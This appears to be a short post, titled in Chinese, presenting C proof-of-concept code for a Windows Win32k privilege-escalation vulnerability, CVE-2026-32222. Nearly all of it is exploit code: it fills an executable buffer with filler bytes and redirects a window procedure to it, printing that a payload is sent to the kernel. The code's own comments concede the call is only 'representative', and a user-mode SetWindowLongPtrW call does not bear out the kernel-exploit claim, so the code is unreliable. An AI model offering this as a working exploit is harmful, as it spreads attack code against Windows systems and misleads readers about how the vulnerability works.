CVE-2026-32222 Windows Win32K权限提升漏洞

#include <windows.h> #include <stdio.h> // Proof of Concept for CVE-2026-32222 // This code demonstrates the trigger mechanism for the untrusted pointer dereference. // Note: This is for educational purposes only. void TriggerVulnerability() { HWND hWnd = CreateWindowExW(0, L"STATIC", L"PoC Window", 0, 0, 0, 0, 0, NULL, NULL, NULL, NULL); if (!hWnd) { printf("Failed to create window.\n"); return; } // Allocate memory to simulate the untrusted pointer PVOID fakeObject = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memset(fakeObject, 0x41, 0x1000); // Craft specific ICOMP structure to trigger the dereference // The exact offset depends on the specific Windows version build PULONG_PTR craftedInput = (PULONG_PTR)fakeObject; craftedInput[0x10] = (ULONG_PTR)fakeObject; // Pointer loopback printf("Sending crafted payload to kernel...\n"); // Trigger the vulnerability via specific Win32k syscall // This function call is representative of the attack vector // NtUserSetWindowLongPtr or similar internal API might be used SetWindowLongPtrW(hWnd, GWLP_WNDPROC, (LONG_PTR)fakeObject); // If successful, code execution might occur here printf("Payload sent. Check system stability.\n"); } int main() { printf("CVE-2026-32222 PoC Trigger\n"); TriggerVulnerability(); return 0; }